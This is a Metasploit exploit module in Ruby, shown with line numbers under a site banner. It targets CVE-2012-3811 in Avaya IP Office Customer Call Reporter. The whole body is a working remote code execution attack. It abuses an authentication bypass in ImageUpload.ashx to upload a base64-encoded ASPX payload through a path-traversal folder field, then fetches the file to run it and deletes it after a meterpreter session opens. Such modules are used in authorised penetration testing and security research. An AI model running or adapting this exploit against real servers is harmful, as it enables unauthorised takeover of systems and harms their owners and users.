Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'uri'
7

8
class MetasploitModule < Msf::Exploit::Remote
9
  Rank = ExcellentRanking
10

11
  include Msf::Exploit::Remote::HttpClient
12
  include Msf::Exploit::EXE
13

14
  def initialize
15
    super(
16
      'Name'           => 'Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution',
17
      'Description'    => %q{
18
          This module exploits an authentication bypass vulnerability on Avaya IP Office
19
        Customer Call Reporter, which allows a remote user to upload arbitrary files
20
        through the ImageUpload.ashx component. It can be abused to upload and execute
21
        arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP
22
        Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.
23
      },
24
      'Author'      =>
25
        [
26
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
27
          'juan vazquez' # Metasploit module
28
        ],
29
      'Platform'    => 'win',
30
      'References'  =>
31
        [
32
          [ 'CVE', '2012-3811' ],
33
          [ 'OSVDB', '83399' ],
34
          [ 'BID', '54225' ],
35
          [ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ],
36
          [ 'ZDI', '12-106' ]
37
        ],
38
      'Targets'     =>
39
        [
40
          [ 'Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2', { } ],
41
        ],
42
      'DefaultTarget'  => 0,
43
      'Privileged'     => false,
44
      'DisclosureDate' => 'Jun 28 2012'
45
    )
46

47
    register_options(
48
      [
49
        OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/'])
50
      ])
51

52
    self.needs_cleanup = true
53
  end
54

55
  #
56
  # Remove the .aspx if we get a meterpreter.
57
  #
58
  def on_new_session(cli)
59
    if cli.type != 'meterpreter'
60
      print_error("Meterpreter not used. Please manually remove #{@payload_path}")
61
      return
62
    end
63

64
    cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
65

66
    begin
67
      print_warning("Removing #{@payload_path}")
68
      cli.fs.file.rm(@payload_path)
69
      print_good("#{@payload_path} deleted")
70
    rescue ::Exception => e
71
      print_error("Unable to delete #{@payload_path}: #{e.message}")
72
    end
73
  end
74

75

76
  def exploit
77
    # Generate the ASPX containing the EXE containing the payload
78
    exe = generate_payload_exe
79
    aspx = Msf::Util::EXE.to_exe_aspx(exe)
80
    aspx_b64 = Rex::Text.encode_base64(aspx)
81

82
    uri_path = target_uri.path
83
    uri_path.path << "/" if uri_path[-1, 1] != "/"
84

85
    boundary = "---------------------------#{rand_text_alpha(36)}"
86

87
    my_data = "--#{boundary}\r\n"
88
    my_data << "Content-Disposition: form-data; name=\"RadUAG_fileName\"\r\n"
89
    my_data << "\r\n"
90
    my_data << "#{rand_text_alpha(rand(5)+3)}.aspx\r\n"
91
    my_data << "--#{boundary}\r\n"
92
    my_data << "Content-Disposition: form-data; name=\"RadUAG_data\"\r\n"
93
    my_data << "\r\n"
94
    my_data << "#{aspx_b64}\r\n"
95
    my_data << "--#{boundary}\r\n"
96
    my_data << "Content-Disposition: form-data; name=\"RadUAG_targetFolder\"\r\n"
97
    my_data << "\r\n"
98
    my_data << "../../CCRWallboardMessageBroker/\r\n"
99
    my_data << "--#{boundary}\r\n"
100
    my_data << "Content-Disposition: form-data; name=\"RadUAG_position\"\r\n"
101
    my_data << "\r\n"
102
    my_data << "0\r\n"
103
    my_data << "--#{boundary}\r\n"
104
    my_data << "Content-Disposition: form-data; name=\"RadUAG_targetPhysicalFolder\"\r\n"
105
    my_data << "\r\n"
106
    my_data << "\r\n"
107
    my_data << "--#{boundary}\r\n"
108
    my_data << "Content-Disposition: form-data; name=\"RadUAG_overwriteExistingFiles\"\r\n"
109
    my_data << "\r\n"
110
    my_data << "True\r\n"
111
    my_data << "--#{boundary}\r\n"
112
    my_data << "Content-Disposition: form-data; name=\"RadUAG_finalFileRequest\"\r\n"
113
    my_data << "\r\n"
114
    my_data << "True\r\n"
115
    my_data << "--#{boundary}\r\n"
116
    my_data << "Content-Disposition: form-data; name=\"UploadImageType\"\r\n"
117
    my_data << "\r\n"
118
    my_data << "0\r\n"
119
    my_data << "--#{boundary}\r\n"
120
    my_data << "Content-Disposition: form-data; name=\"WallboardID\"\r\n"
121
    my_data << "\r\n"
122
    my_data << "0\r\n"
123
    my_data << "--#{boundary}--\r\n"
124

125
    #
126
    # UPLOAD
127
    #
128
    attack_url = uri_path + "CCRWebClient/Wallboard/ImageUpload.ashx"
129
    print_status("Uploading #{aspx_b64.length} bytes through #{attack_url}...")
130

131
    res = send_request_cgi({
132
      'uri'          => attack_url,
133
      'method'       => 'POST',
134
      'ctype'  => "multipart/form-data; boundary=#{boundary}",
135
      'data'         => my_data,
136
    }, 20)
137

138
    payload_url = ""
139
    @payload_path = ""
140
    if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/
141
      print_good("Payload uploaded successfully")
142
    else
143
      print_error("Payload upload failed")
144
      return
145
    end
146

147
    # Retrieve info about the uploaded payload
148

149
    if res.body =~ /\{"Key":"RadUAG_filePath","Value":"(.*)"\},\{"Key":"RadUAG_associatedData/
150
      @payload_path = $1
151
      print_status("Payload stored on #{@payload_path}")
152
    else
153
      print_error("The payload file path couldn't be retrieved")
154
    end
155

156
    if res.body =~ /\[\{"Key":"UploadedImageURL","Value":"(.*)"\}\]/
157
      payload_url = URI($1).path
158
    else
159
      print_error("The payload URI couldn't be retrieved... Aborting!")
160
      return
161
    end
162

163

164
    #
165
    # EXECUTE
166
    #
167
    print_status("Executing #{payload_url}...")
168

169
    res = send_request_cgi({
170
      'uri'          =>  payload_url,
171
      'method'       => 'GET'
172
    }, 20)
173

174
    if (!res or (res and res.code != 200))
175
      print_error("Execution failed on #{payload_url} [No Response]")
176
      return
177
    end
178

179
  end
180
end
181

182